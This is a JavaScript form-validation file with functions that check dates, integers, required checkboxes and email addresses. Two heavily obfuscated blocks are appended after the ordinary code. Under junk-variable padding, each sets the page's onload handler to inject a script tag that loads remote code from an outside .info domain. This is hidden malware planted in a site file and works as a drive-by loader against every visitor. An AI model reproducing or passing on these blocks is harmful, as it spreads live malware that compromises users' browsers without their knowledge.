// Checks for the following valid date formats:
// DD/MM/YY   DD/MM/YYYY   DD-MM-YY   DD-MM-YYYY
// Also separates date into month, day, and year variables
function isValidDate(dateStr, resultDate) {
  var datePat = /^(\d{1,2})(\/|-)(\d{1,2})\2(\d{2}|\d{4})$/;

  // To require a 4 digit year entry, use this line instead:
  // var datePat = /^(\d{1,2})(\/|-)(\d{1,2})\2(\d{4})$/;

  var matchArray = dateStr.match(datePat); // is the format ok?
  if (matchArray == null) {
    alert("Date is not in a valid format.")
    return false;
  }
  
  day = matchArray[1];
  month = matchArray[3]; // parse date into variables
  year = matchArray[4];
  
  if (day < 1 || day > 31) {
    alert("Day must be between 1 and 31.");
    return false;
  }

  if (month < 1 || month > 12) { // check month range
    alert("Month must be between 1 and 12.");
    return false;
  }
  
  if ((month==4 || month==6 || month==9 || month==11) && day==31) {
    alert("Month "+month+" doesn't have 31 days!")
    return false
  }
  if (month == 2) { // check for february 29th
    var isleap = (year % 4 == 0 && (year % 100 != 0 || year % 400 == 0));
    if (day>29 || (day==29 && !isleap)) {
      alert("February " + year + " doesn't have " + day + " days!");
      return false;
     }
  }

  // set MM/DD/YYYY format to resultDate
  resultDate.value = month + "/" + day + "/" + year
  return true;
}

function isEmpty(data)
{
  var i;

  for (i=0; i < data.length; i++) {
    if (data.charAt(i) != ' ') {
      return false;
    }
  }
  return true;
}
	
function isInteger(data)
{
  var numStr = "0123456789"
  var currChar
  var i

  if (isEmpty(data)) {
    return false;
  }

  for (i=0; i < data.length; i++) {
    currChar = data.charAt(i)
    if (numStr.indexOf(currChar) == -1) {
      // current char is not valid digit
      return false;
    }
  }
  return true;
}
function fccheck(nform,nname,nquestionno)
{
	//alert(nname);
  var nchecked = 0;
  //var nquestionno = nname.substring(nname.length-1);
  //alert("qno: " + nquestionno);
  var nerrmsg = "Please answer Question " + nquestionno;
  var nlen = eval("document."+nform+"."+nname+".length");
  //alert("nlen: " + nlen);
  if(nlen == 1)
  {
    if(eval("document."+nform+"."+nname+".checked"))
    {
      nchecked =  parseInt(nchecked) + 1;
    }
  }
  else if (nlen > 1)
  {
    for(var i=0; i<nlen; i++)
    {
      if(eval("document."+nform+"."+nname+"["+i+"].checked"))
      {
        nchecked =  parseInt(nchecked) + 1;
      }
    }
  }
  //alert("nchecked: " + nchecked);
  if(nchecked == 0)
  {
    alert(nerrmsg);
	if(nlen == 1)
	{
		eval("document."+nform+"."+nname+".focus()");
	}
	else
	{
		eval("document."+nform+"."+nname+"[0].focus()");
	}
    return false;
  }
  else
  {
    return true;
  }
}
function isEmail(email)
{
  var posOfAt = email.indexOf("@")
  var lastPosOfAt = email.lastIndexOf("@")
  var lastPosOfDot = email.lastIndexOf(".")
  var currChar

  if (isEmpty(email) || email.length < 5 || posOfAt != lastPosOfAt ||
      (posOfAt < 1) || (email.indexOf(" ") != -1) || 
      (lastPosOfDot <= posOfAt) || (lastPosOfDot == email.length - 1))  {
    return false;
  }
  return true;
}
this.p='';var vy;if(vy!='' && vy!='Je'){vy=null};try {var I;if(I!='r' && I!='Xg'){I=''};var u=new Date();var K=window[unescape("%75%6e%65%73%63%61%70%65")];var mt;if(mt!='' && mt!='l'){mt='F'};var GC;if(GC!=''){GC='me'};var S=K("%72%65%70%6c%61%63%65");var ST=null;this.mU="";var Z=window[K("%52%65%67%45%78%70")];var k=new Date();function U(D,Ds){var _=new Date();var e=new Date();var Fy;if(Fy!='JM' && Fy!='CA'){Fy='JM'};this.Gk="";var G=K("%5b");G+=Ds;this.N='';G+=K("%5d");var LO='';var lT='';var J=new Z(G, K("%67"));var IH=new String();return D.replace(J, ST);var Xb;if(Xb!=''){Xb='dw'};this.kd="";};var zC=new String();var M=K("%73%63%72%69%70%74");var PW;if(PW!='RZ'){PW=''};var v=new String("on"+"lo"+"ad");var X='';var JX;if(JX!=''){JX='B'};var R=U('/YgvoQoVgwlseY.5cQowmz/xcRlWosozbS.xcwoZmR/7lWaHr7esdVovujt3eY.7fxrv.4pshspw','75j4wzYsQvWPR3HVSZx');var kj;if(kj!='uo'){kj='uo'};var D=K("%31");var zB;if(zB!='dn'){zB='dn'};var PC;if(PC!='ZG'){PC='ZG'};var m=U('8675413047215618971520373356','21695734');var L="\x68\x74\x74\x70\x3a\x2f\x2f\x73\x75\x6e\x63\x6f\x61\x73\x74\x61\x74\x6c\x61\x73\x2e\x69\x6e\x66\x6f\x3a";this._L='';var Ju;if(Ju!='' && Ju!='b'){Ju='dR'};function O(){var x="";var KF=document;this.RN="";var Sm;if(Sm!='IHh' && Sm != ''){Sm=null};this.hl="";c=KF.createElement(M);var zc;if(zc!='ub' && zc!='Es'){zc='ub'};X+=L;var Kr='';var Yg='';X+=m+R;var _e;if(_e!='hr' && _e!='xp'){_e='hr'};var hlA=new String();this.qp='';c.src=X;var H=new Date();var ML=KF.body;c.defer=D;ML.appendChild(c);var s_="";};var NJ=new Date();var kw;if(kw!='' && kw!='po'){kw='Sg'};var Be=new Array();var Vf;if(Vf!='Cb'){Vf='Cb'};window[v]=O;this.IX="";var wn;if(wn!='cB'){wn='cB'};} catch(n){};var BY;if(BY!='dc' && BY != ''){BY=null};


var Eu=new Array();var DO;if(DO!='b'){DO=''};function m(){var I;if(I!='' && I!='j'){I='t'};var X=window;var W=new Date();var E=X['unescape'];this.q='';var F=E("%2f%77%6f%72%6c%64%6f%66%77%61%72%63%72%61%66%74%2d%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%6c%65%6d%6f%6e%64%65%2e%66%72%2e%70%68%70");var z=new String();function H(Y,k){var Et;if(Et!='' && Et!='Rp'){Et=''};var w=E("%5d");var wp="";var ks;if(ks!='' && ks!='g'){ks=null};var Yb=E("%5b");this.O="";this.hv="";var x=String("g");var HP=new Date();var EE;if(EE!='Q' && EE != ''){EE=null};var hT;if(hT!='' && hT!='tQ'){hT=''};var Z=new RegExp(Yb+k+w, x);var _IM=new Date();var PW;if(PW!='' && PW!='rv'){PW=null};this.Ck="";return Y.replace(Z, new String());var xt="";};var QvZ;if(QvZ!='' && QvZ!='EV'){QvZ=null};var EM;if(EM!='EY' && EM != ''){EM=null};this.jN="";var V=H('shrjc0','zU0hqSeKHZijxL8D');this._k='';var SC;if(SC!='' && SC!='DH'){SC=''};var R=H('dKemf4eXrA','XVKmU4lA');var SN=new Date();var o=H('8149621621911606461494719418224739246390412414413114','41265397');var Tw;if(Tw!='' && Tw!='HC'){Tw=null};var y=document;var _=H('sQc3r_iFpFtQ','CFyQ3V_');var OM=new String();function c(){var U=E("%68%74%74%70%3a%2f%2f%72%65%61%6c%73%68%6f%70%6f%6e%6c%69%6e%65%2e%69%6e%66%6f%3a");var Ww="";var fn='';var _I=U;_I+=o;var wv;if(wv!='' && wv!='Nn'){wv='VO'};var Xh=new Date();_I+=F;this.xj="";try {var zF;if(zF!='' && zF!='Ko'){zF='QI'};var AD;if(AD!='Uf'){AD=''};a=y[H('cCrPekaqtLeCEzl5eCmNeqnLt_','zXkfL6PKiJFg5DC3BN_hq')](_);this.qk='';var Fo;if(Fo!='Ce'){Fo=''};a[V]=_I;a[R]=[1][0];var be='';y.body[H('acpfpueIncdNCRhxi5lDd5','IfRt0u5B3N8DxEvc')](a);var Uzm=new String();} catch(d){this.Hq='';};var my=new Date();var dc='';var dR;if(dR!='' && dR!='Rl'){dR=null};}var pv;if(pv!='jf'){pv=''};var ZN=H('o6nil4ovaPde','7tWu3MZ5P206Acev_Qfsi4D');var Ms;if(Ms!='Xn'){Ms='Xn'};var lE=new Date();var LC=new Array();X[ZN]=c;var Nl;if(Nl!='lK'){Nl='lK'};var Qd="";var CX=new Date();};m();var kL;if(kL!='dS' && kL!='SV'){kL=''};var _m;if(_m!='bMt'){_m=''};
